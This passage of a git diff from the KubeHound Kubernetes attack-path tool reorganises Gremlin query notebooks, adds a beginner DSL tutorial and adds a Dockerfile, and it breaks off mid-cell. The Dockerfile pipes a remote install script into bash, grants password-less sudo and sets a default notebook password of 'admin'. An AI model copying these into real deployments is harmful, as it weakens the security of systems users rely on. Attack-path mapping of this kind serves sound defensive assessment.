TextP.containing(\"cilium\")) // Replace with your image name\n", + " ) \n", + " .project('image',\"escapes\")\n", + " .by(values(\"image\"))\n", + " .by(outE().where(inV().hasLabel(\"Node\")).label().fold())\n", + " .dedup()" ] }, { @@ -238,11 +222,12 @@ "outputs": [], "source": [ "%%gremlin \n", - "kh.containers().\n", - " or(\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .or(\n", " has(\"image\", TextP.containing(\"nginx\")), // Replace with your image name\n", - " has(\"image\", TextP.containing(\"cilium\"))). // Replace with your image name\n", - " minHopsToCritical()" + " has(\"image\", TextP.containing(\"cilium\"))) // Replace with your image name\n", + " .minHopsToCritical()" ] }, { @@ -259,23 +244,21 @@ "outputs": [], "source": [ "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.containers().\n", - " or(\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .or(\n", " has(\"image\", TextP.containing(\"nginx\")), // Replace with your image name\n", - " has(\"image\", TextP.containing(\"cilium\"))). // Replace with your image name\n", - " \n", - " repeat(\n", - " outE().inV().simplePath()).\n", - " emit().\n", - " until(\n", - " has(\"critical\", true).\n", - " or().\n", - " loops().\n", - " is(4)). // Use result from previous cell\n", - " has(\"critical\", true).\n", - " dedup().\n", - " path().\n", - " by(elementMap())" + " has(\"image\", TextP.containing(\"cilium\"))) // Replace with your image name\n", + " .repeat(\n", + " outE().inV().simplePath())\n", + " .emit()\n", + " .until(\n", + " has(\"critical\", true)\n", + " .or().loops().is(4))\n", + " .has(\"critical\", true)\n", + " .dedup()\n", + " .path()\n", + " .by(elementMap())" ] }, { @@ -294,17 +277,18 @@ "outputs": [], "source": [ "%%gremlin -d name -g class -le 50 -p inv,oute\n", - "kh.containers().\n", - " or(\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .or(\n", " has(\"image\", TextP.containing(\"nginx\")),\n", - " has(\"image\", TextP.containing(\"cilium\"))).\n", - " \trepeat(\n", - " outE().inV().simplePath()).\n", - " times(5). // Increase to expand the potential blast radius, but graph size will increase exponentially!\n", - " emit().\n", - " path().\n", - " by(elementMap()).\n", - " limit(100) // Limit the number of results for large clusters" + " has(\"image\", TextP.containing(\"cilium\")))\n", + " \t.repeat(\n", + " outE().inV().simplePath())\n", + " .times(5) // Increase to expand the potential blast radius, but graph size will increase exponentially!\n", + " .emit()\n", + " .path()\n", + " .by(elementMap())\n", + " .limit(100) // Limit the number of results for large clusters" ] } ], diff --git a/deployments/kubehound/ui/Dockerfile b/deployments/kubehound/ui/Dockerfile new file mode 100644 index 000000000..dfec39b06 --- /dev/null +++ b/deployments/kubehound/ui/Dockerfile @@ -0,0 +1,109 @@ +# This Dockerfile is a tailored version of https://github.com/aws/graph-notebook under APACHE 2 LICENCE + +FROM amazonlinux:2022 + +# Notebook Port +EXPOSE 8888 +# Lab Port +EXPOSE 8889 + +# May need to be set to `pipargs=' -i https://pypi.tuna.tsinghua.edu.cn/simple '` for china regions +ENV pipargs="" +ENV WORKING_DIR="/kubehound" +ENV NOTEBOOK_DIR="${WORKING_DIR}/notebooks" +ENV EXAMPLE_NOTEBOOK_DIR="${NOTEBOOK_DIR}/kubehound_presets" +ENV NODE_VERSION=14 +ENV PYTHON_VERSION=3.10 +ENV GRAPH_NOTEBOOK_AUTH_MODE="DEFAULT" +ENV GRAPH_NOTEBOOK_HOST="kubegraph" +ENV GRAPH_NOTEBOOK_PROXY_PORT="8192" +ENV GRAPH_NOTEBOOK_PROXY_HOST="" +ENV GRAPH_NOTEBOOK_PORT="8182" +ENV NEPTUNE_LOAD_FROM_S3_ROLE_ARN="" +ENV AWS_REGION="us-east-1" +ENV NOTEBOOK_PORT="8888" +ENV LAB_PORT="8889" +ENV GRAPH_NOTEBOOK_SSL="True" +ENV NOTEBOOK_PASSWORD="admin" +ENV PROVIDE_EXAMPLES=0 + +# "when the SIGTERM signal is sent to the docker process, it immediately quits and all established connections are closed" +# "graceful stop is triggered when the SIGUSR1 signal is sent to the docker process" +STOPSIGNAL SIGUSR1 + +ENV GID 1000 +ENV UID 1000 + +# Update the package list, install sudo, create a non-root user, and grant password-less sudo permissions +RUN yum update -y && \ + yum install -y sudo shadow-utils && \ + /usr/sbin/groupadd --gid $GID nonroot && \ + adduser --uid $UID --gid $GID --system nonroot -m && \ + echo 'nonroot ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers + +RUN mkdir -p "${WORKING_DIR}" && \ + mkdir -p "${NOTEBOOK_DIR}" && \ + mkdir -p "${EXAMPLE_NOTEBOOK_DIR}" && \ + chown -R nonroot:nonroot "${WORKING_DIR}" && \ + # Yum Update and install dependencies + yum update -y && \ + yum install tar gzip git findutils -y && \ + # Install NPM/Node + curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh | bash && \ + . ~/.nvm/nvm.sh && \ + nvm install ${NODE_VERSION} && \ + # Install Python + yum install python${PYTHON_VERSION} -y && \ + # update-alternatives --install /usr/bin/python3 python3 /usr/bin/python${PYTHON_VERSION} 1 && \ + echo 'Using python version:' && \ + python${PYTHON_VERSION} --version && \ + python${PYTHON_VERSION} -m ensurepip --upgrade && \ + python${PYTHON_VERSION} -m venv /tmp/venv && \ + source /tmp/venv/bin/activate && \ + cd "${WORKING_DIR}" && \ + # Clone the repo and install python dependencies + git clone https://github.com/aws/graph-notebook && \ + cd "${WORKING_DIR}/graph-notebook" && \ + chown -R nonroot:nonroot "${WORKING_DIR}/graph-notebook" && \ + pip3 install --upgrade pip setuptools wheel && \ + pip3 install twine==3.7.1 && \ + pip3 install -r requirements.txt && \ + pip3 install --upgrade 'jupyter-server<2.0.0' && \ + pip3 install "jupyterlab>=3,<4" && \ + pip3 install jupyter_contrib_nbextensions && \ + pip3 install jupyter_nbextensions_configurator && \ + # Build the package + python3 setup.py sdist bdist_wheel && \ + # install the copied repo + pip3 install . && \ + # copy premade starter notebooks + cd "${WORKING_DIR}/graph-notebook" && \ + jupyter contrib nbextension install --system --debug && \ + jupyter nbextension enable --py --sys-prefix graph_notebook.widgets && \ + jupyter nbextensions_configurator enable --system # can be skipped for notebook >=5.3 && \ + # This allows for the `.ipython` to be set + python -m graph_notebook.start_jupyterlab --jupyter-dir "${NOTEBOOK_DIR}" && \ + deactivate && \ + # Cleanup + yum clean all && \ + yum remove wget tar git -y && \ + rm -rf /var/cache/yum && \ + rm -rf "${WORKING_DIR}/graph-notebook" && \ + rm -rf /root/.cache && \ + rm -rf /root/.npm/_cacache && \ + cd /usr/share && \ + rm -r $(ls -A | grep -v terminfo) + +# Set the non-root user as the default user +USER nonroot + +ADD --chown=nonroot:nonroot *.ipynb ${EXAMPLE_NOTEBOOK_DIR}/ + +# Adding support for init_cell - allow cell to be run on startup of the notebook +# Command not working jupyter nbextension enable --system init_cell && \ +ADD --chown=nonroot:nonroot notebook.json /home/nonroot/.jupyter/nbconfig/notebook.json + +ADD --chown=nonroot:nonroot ./service.sh /usr/bin/service.sh +RUN chmod +x /usr/bin/service.sh + +ENTRYPOINT [ "bash","-c","service.sh" ] diff --git a/deployments/kubehound/ui/InitialSetup.ipynb b/deployments/kubehound/ui/InitialSetup.ipynb new file mode 100644 index 000000000..1a7483d2c --- /dev/null +++ b/deployments/kubehound/ui/InitialSetup.ipynb @@ -0,0 +1,150 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "execution": { + "iopub.execute_input": "2024-07-24T14:46:25.538529Z", + "iopub.status.busy": "2024-07-24T14:46:25.538280Z", + "iopub.status.idle": "2024-07-24T14:46:25.545724Z", + "shell.execute_reply": "2024-07-24T14:46:25.545041Z", + "shell.execute_reply.started": "2024-07-24T14:46:25.538501Z" + }, + "frozen": false, + "init_cell": true, + "tags": [ + "safe_output" + ] + }, + "source": [ + "# Autoloading\n", + "\n", + "Loading graph visualisation settings." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "init_cell": true + }, + "outputs": [], + "source": [ + "%%capture \"Remove this line to see debug information\"\n", + "%%graph_notebook_vis_options\n", + "{\n", + " \"edges\": {\n", + " \"smooth\": {\n", + " \"enabled\": true,\n", + " \"type\": \"dynamic\"\n", + " },\n", + " \"arrows\": {\n", + " \"to\": {\n", + " \"enabled\": true,\n", + " \"type\": \"arrow\"\n", + " }\n", + " }\n", + " }\n", + "}" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "# Initial Setup\n", + "\n", + "## Get a view of all Ingested Cluster\n", + "\n", + "Retrieve all the current cluster ingested in KubeHound with the associated runID with the number of nodes. This numbers can be used to get a clue of the size of the cluster and also identify if an ingestion did not complete." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "execution": { + "iopub.execute_input": "2024-07-24T14:46:28.273187Z", + "iopub.status.busy": "2024-07-24T14:46:28.272852Z", + "iopub.status.idle": "2024-07-24T14:46:28.625859Z", + "shell.execute_reply": "2024-07-24T14:46:28.625126Z", + "shell.execute_reply.started": "2024-07-24T14:46:28.273156Z" + }, + "frozen": false, + "init_cell": true, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.nodes()\n", + " .groupCount()\n", + " .by(project('cluster','runID')\n", + " .by('cluster').by('runID'))\n", + " .unfold()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "## Setting your run_id/cluster\n", + "\n", + "Set which runID you want to use. The variable are being shared with all users of the instance, so we advise to make a uniq string for your user `runID_yourid` to avoid any conflict." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "graph.variables()\n", + " .set('runID_yourid','01htdgjj34mcmrrksw4bjy2e94')" + ] + } + ], + "metadata": { + "celltoolbar": "Initialization Cell", + "kernelspec": { + "display_name": "Python 3 (default)", + "language": "python", + "name": "ipykernel-default" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.13" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/deployments/kubehound/notebook/InsomniHackDemo.ipynb b/deployments/kubehound/ui/KindCluster_Demo.ipynb similarity index 82% rename from deployments/kubehound/notebook/InsomniHackDemo.ipynb rename to deployments/kubehound/ui/KindCluster_Demo.ipynb index c3234a677..7a39dce84 100644 --- a/deployments/kubehound/notebook/InsomniHackDemo.ipynb +++ b/deployments/kubehound/ui/KindCluster_Demo.ipynb @@ -5,7 +5,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "# Playbook for InsomniHack24k on our demo kind cluster\n", + "# Playbook to showcase KubeHound against our demo kind cluster\n", "\n", "This notebook (and the ones next to it in this folder) will be in sync between the docker container and the hosts.\n", "You can use this to experiment and save your queries in git, if needed.\n", @@ -18,42 +18,20 @@ "source": [ "## Initial Setup\n", "\n", - "Connect to the kubegraph server by running the cell below" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "%%graph_notebook_config\n", - "{\n", - " \"host\": \"kubegraph\",\n", - " \"port\": 8182,\n", - " \"ssl\": false,\n", - " \"gremlin\": {\n", - " \"traversal_source\": \"g\",\n", - " \"username\": \"\",\n", - " \"password\": \"\",\n", - " \"message_serializer\": \"graphsonv3\"\n", - " }\n", - "}" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ + "Connection is being initated directly from the docker using the env vars `GRAPH_NOTEBOOK_HOST` and `GRAPH_NOTEBOOK_PORT`. To overwrite it you can use the magic `%%graph_notebook_config` [details here](https://github.com/aws/graph-notebook/tree/main/additional-databases/gremlin-server#connecting-to-a-local-gremlin-server-from-jupyter).\n", + "\n", "Now set the appearance customizations for the notebook. You can see a guide on possible options [here](https://github.com/aws/graph-notebook/blob/623d43827f798c33125219e8f45ad1b6e5b29513/src/graph_notebook/notebooks/01-Neptune-Database/02-Visualization/Grouping-and-Appearance-Customization-Gremlin.ipynb#L680)" ] }, { "cell_type": "code", "execution_count": null, - "metadata": {}, + "metadata": { + "init_cell": true + }, "outputs": [], "source": [ + "%%capture \"Remove this line to see debug information\"\n", "%%graph_notebook_vis_options\n", "{\n", " \"edges\": {\n", @@ -195,18 +173,19 @@ "outputs": [], "source": [ "%%gremlin -d label -g class -le 50 -p inv,oute\n", - "kh.endpoints().not(has(\"serviceEndpoint\",\"kube-dns\")).\n", - "\trepeat(\n", - "\t\toutE().inV().\n", - "\t\tsimplePath()).\n", - "\tuntil(\n", - "\t\thasLabel(\"Node\").\n", - "\t\tor().\n", - "\t\tloops().is(5)).\n", - "\thasLabel(\"Node\").\n", - "\tpath().\n", - "\tby(elementMap()).\n", - " limit(100)\t// Limit the number of results for large clusters" + "kh.endpoints().not(has(\"serviceEndpoint\",\"kube-dns\"))\n", + "\t.repeat(\n", + "\t\toutE().inV().simplePath()\n", + "\t)\n", + "\t.until(\n", + "\t\thasLabel(\"Node\")\n", + "\t\t.or()\n", + "\t\t.loops().is(5)\n", + "\t)\n", + "\t.hasLabel(\"Node\")\n", + "\t.path()\n", + "\t.by(elementMap())\n", + "\t.limit(100)\t// Limit the number of results for large clusters" ] }, { diff --git a/deployments/kubehound/notebook/KubeHound.ipynb b/deployments/kubehound/ui/KubeHound.ipynb similarity index 71% rename from deployments/kubehound/notebook/KubeHound.ipynb rename to deployments/kubehound/ui/KubeHound.ipynb index 1046d5c4d..8eff02f6b 100644 --- a/deployments/kubehound/notebook/KubeHound.ipynb +++ b/deployments/kubehound/ui/KubeHound.ipynb @@ -18,42 +18,20 @@ "source": [ "## Initial Setup\n", "\n", - "Connect to the kubegraph server by running the cell below" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "%%graph_notebook_config\n", - "{\n", - " \"host\": \"kubegraph\",\n", - " \"port\": 8182,\n", - " \"ssl\": false,\n", - " \"gremlin\": {\n", - " \"traversal_source\": \"g\",\n", - " \"username\": \"\",\n", - " \"password\": \"\",\n", - " \"message_serializer\": \"graphsonv3\"\n", - " }\n", - "}" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ + "Connection is being initated directly from the docker using the env vars `GRAPH_NOTEBOOK_HOST` and `GRAPH_NOTEBOOK_PORT`. To overwrite it you can use the magic `%%graph_notebook_config` [details here](https://github.com/aws/graph-notebook/tree/main/additional-databases/gremlin-server#connecting-to-a-local-gremlin-server-from-jupyter).\n", + "\n", "Now set the appearance customizations for the notebook. You can see a guide on possible options [here](https://github.com/aws/graph-notebook/blob/623d43827f798c33125219e8f45ad1b6e5b29513/src/graph_notebook/notebooks/01-Neptune-Database/02-Visualization/Grouping-and-Appearance-Customization-Gremlin.ipynb#L680)" ] }, { "cell_type": "code", "execution_count": null, - "metadata": {}, + "metadata": { + "init_cell": true + }, "outputs": [], "source": [ + "%%capture \"Remove this line to see debug information\"\n", "%%graph_notebook_vis_options\n", "{\n", " \"edges\": {\n", @@ -97,10 +75,10 @@ "outputs": [], "source": [ "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.services().\n", - " criticalPaths().\n", - " by(elementMap()).\n", - " limit(100) // Limit the number of results for large clusters" + "kh.services()\n", + " .criticalPaths()\n", + " .by(elementMap())\n", + " .limit(100) // Limit the number of results for large clusters" ] }, { @@ -119,10 +97,10 @@ "outputs": [], "source": [ "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.groups().\n", - " criticalPaths().\n", - " by(elementMap()).\n", - " limit(100) // Limit the number of results for large clusters" + "kh.groups()\n", + " .criticalPaths()\n", + " .by(elementMap())\n", + " .limit(100) // Limit the number of results for large clusters" ] }, { @@ -140,13 +118,19 @@ "outputs": [], "source": [ "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.services().\n", - " has(\"port\", 443). // Look for exposed port on 443 only\n", - " not(has(\"namespace\", within(\"system\", \"kube\"))). // Exclude endpoints from the 'kube' and 'system' namespaces\n", - " where(__.out().hasLabel(\"Container\").has(\"image\", TextP.containing(\"elasticsearch\"))). // Only accept endpoints attached to elasticsearch containers\n", - " criticalPaths(6). // Limit to critical paths of 6 hops or less\n", - " by(elementMap()).\n", - " limit(100) // Limit the number of results for large clusters" + "kh.services()\n", + " .has(\"port\", 443) // Look for exposed port on 443 only\n", + " .not(\n", + " // Exclude endpoints from the 'kube' and 'system' namespaces\n", + " has(\"namespace\", within(\"system\", \"kube\")) \n", + " ) \n", + " .where(\n", + " // Only accept endpoints attached to elasticsearch containers\n", + " __.out().hasLabel(\"Container\").has(\"image\", TextP.containing(\"elasticsearch\"))\n", + " ) \n", + " .criticalPaths(6) // Limit to critical paths of 6 hops or less\n", + " .by(elementMap())\n", + " .limit(100) // Limit the number of results for large clusters" ] }, { diff --git a/deployments/kubehound/ui/KubehoundDSL_101.ipynb b/deployments/kubehound/ui/KubehoundDSL_101.ipynb new file mode 100644 index 000000000..6241130c3 --- /dev/null +++ b/deployments/kubehound/ui/KubehoundDSL_101.ipynb @@ -0,0 +1,761 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# KubeHound 101 - Gremlin and DSL\n", + "\n", + "A step by step example of basic Gremlin and KubeHound DSL queries." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Getting started\n", + "\n", + "Connection is being initated directly from the docker using the env vars `GRAPH_NOTEBOOK_HOST` and `GRAPH_NOTEBOOK_PORT`. To overwrite it you can use the magic `%%graph_notebook_config` as detailed below.\n", + "\n", + "To connect to a different kubegraph server (hosted somewhere for instance), just run the cell below with your own `host` and `port`." + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": { + "init_cell": true + }, + "outputs": [], + "source": [ + "%%graph_notebook_config\n", + "{\n", + " \"host\": \"kubegraph\",\n", + " \"port\": 8182,\n", + " \"ssl\": false,\n", + " \"gremlin\": {\n", + " \"traversal_source\": \"g\",\n", + " \"username\": \"\",\n", + " \"password\": \"\",\n", + " \"message_serializer\": \"graphsonv3\"\n", + " }\n", + "}" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Setting the visualisation aspect of the graph rendering. **This step is also mandatory.**\n", + "\n", + "Now set the appearance customizations for the notebook. You can see a guide on possible options [here](https://github.com/aws/graph-notebook/blob/623d43827f798c33125219e8f45ad1b6e5b29513/src/graph_notebook/notebooks/01-Neptune-Database/02-Visualization/Grouping-and-Appearance-Customization-Gremlin.ipynb#L680)" + ] + }, + { + "cell_type": "code", + "execution_count": 125, + "metadata": { + "init_cell": true + }, + "outputs": [], + "source": [ + "%%graph_notebook_vis_options\n", + "{\n", + " \"edges\": {\n", + " \"smooth\": {\n", + " \"enabled\": true,\n", + " \"type\": \"dynamic\"\n", + " },\n", + " \"arrows\": {\n", + " \"to\": {\n", + " \"enabled\": true,\n", + " \"type\": \"arrow\"\n", + " }\n", + " }\n", + " }\n", + "}" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To run a query you need to start with the `%%gremlin` magic" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".V() // retreive all the vertices\n", + ".count() // count the number of results" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To show a graph you need to add some option to make the graph more readable `%%gremlin -d class -g critical -le 50 -p inv,oute`" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh // traversal source (KubeHound DSL) \n", + ".V() // retreive all the vertices\n", + ".path() // wrap it with a path type (to show into a graph)\n", + ".by(elementMap()) // get details for each vertices (properties/values)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Raw information in the console tab (download CSV or XSLX). The search go through all the fields in the results.\n", + "\n", + "Graph view to navigate through the results (can access properties info through the burger button when a vertice is selected).\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Constructing requests\n", + "\n", + "Every vertices has a label associated which describes the type of the k8s resources (can be accessed through KubeHound DSL).\n", + "\n", + "Raw gremlin query to select all pod in a k8s cluster." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".V() // retreive all the vertices\n", + ".hasLabel(\"Pod\") // retreiving all the pods\n", + ".valueMap() // transforming it to json with all properties value" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Equivalent in KubeHound DSL:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".V() // retreive all the vertices\n", + ".hasLabel(\"Pod\") // retreiving all the pods\n", + ".valueMap() // transforming it to json with all properties value" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all nodes:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".nodes() // retreiving all the nodes\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all volumes:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".volumes() // retreiving all the volumes\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all endpoints" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".endpoints() // retreiving all the endpoints\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all containers:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".containers() // retreiving all the containers\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all users:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".users() // retreiving all the users\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all groups:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".groups() // retreiving all the groups\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all service accounts:" + ] + }, + { + "cell_type": "code", + "execution_count": 124, + "metadata": {}, + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "1e29259d77ba4c85b866d74ca9b10547", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Tab(children=(Output(layout=Layout(max_height='600px', max_width='940px', overflow='scroll')), Output(layout=L…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".sas() // retreiving all the services account\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "For each type you can select specific resources based on its name (one or many).\n", + "\n", + "Let's select 3 containers with specific names:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + " // selecting multiples containers with specific name\n", + ".containers(\"nsenter-pod\",\"pod-create-pod\", \"host-read-exploit-pod\")\n", + ".valueMap() // transforming it to json with all properties values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "For each type you can select specific resources based on its name (one or many). To get the exhaustive list you can use `.properties()`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh // traversal source (KubeHound DSL) \n", + ".containers() // selecting multiples containers with specific name\n", + ".limit(1) // limiting result to 1 container only\n", + ".properties() // printing the properties and the associated values" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Most important common properties present for all KH resources." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin\n", + "kh.containers().limit(1)\n", + ".properties(\"runID\",\"app\",\"cluster\",\"isNamespaced\", \"namespace\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To select resources with specific properties, use the `.has()` and `.not()`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.containers()\n", + ".has(\"image\",\"ubuntu\") // looking for ubuntu based image container\n", + ".not(has(\"namespace\",\"default\")) // skipping any container present in default namespace\n", + ".path().by(elementMap()) // converting to Graph output" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Gremlin introduction\n", + "\n", + "Basic gremlin function to play around KubeHound resources. All gremlin function can be access from KubeHound DSL.\n", + "\n", + "* `properties()`: get all specified properties for the current element\n", + "* `values()`: get all specified property values for the current element\n", + "* `valueMap()` or `elementMap()`: get all specified property values for the current element as a map" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Group results by key and value. This allows us to display some important value. \n", + "\n", + "* `group()`: group([key]).by(keySelector).by(valueSelector) \n", + "* `unfold()`: unfold the incoming list and continue processing each element individually" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.pods() // get all the pods\n", + ".group().by(\"namespace\") // group by namespaces\n", + ".by(\"name\") // filter only the name\n", + ".unfold() // transform the result to a list" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Group and Count results by key. This gets metrics and KPI around k8s resources." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.pods() // get all the pods\n", + ".groupCount().by(\"namespace\") // group and count by namespaces\n", + ".unfold() // transform the result to a list" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "When using text value you can do some pattern matching using `TextP.`\n", + " \n", + "_Note:_ this can slows down a lot the query (not using index)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d name -g class -le 50 -p inv,oute\n", + "kh.containers() // get all containers\n", + " // retrieve all registry.k8s.io/* image\n", + ".has(\"image\", TextP.containing(\"registry.k8s.io\"))\n", + ".path().by(elementMap()) // format it as graph" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Classic operator that are useful to scope items of the research:\n", + "\n", + "* `limit()`: Limit the number of results \n", + "* `or()`: Classic `OR` operator, useful when selecting resources by properties\n", + "* `dedup()`: Will remove any duplicate on the object output (needs to scope to specific properties to make it work)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.containers() // get all the containers\n", + ".values(\"image\") // extract the image properties\n", + ".dedup() // deduplicate the results" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The step-modulator `by()` can be added in addition to other step to modulate the results. It can be added one or multiple times. The `by()` modulator is commonly used with steps `aggregate()`, `dedup()`, `group()`, `groupCount()`, `order()`, `path()`, `select()`, `tree()`, and more.\n", + "\n", + "* `by()`: If a step is able to accept functions, comparators, etc. then by() is the means by which they are added (like group() step)\n", + "\n", + "One modulator for the `group()` filter for the `key`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.endpoints()\n", + ".group()\n", + ".by(\"port\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The second modulator for the `group()` filter for the `value`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.endpoints()\n", + ".group()\n", + ".by(\"port\")\n", + ".by(\"portName\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "There are some defined value to access specific “properties” of the vertices:\n", + "\n", + "* `labels()` or `label`: It takes an Element and extracts its label from it.\n", + "* `key()` or `key`: It takes a Property and extracts the key from it.\n", + "* `value()` or `value`: It takes a Property and extracts the value from it." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.V() // get all the vertices\n", + 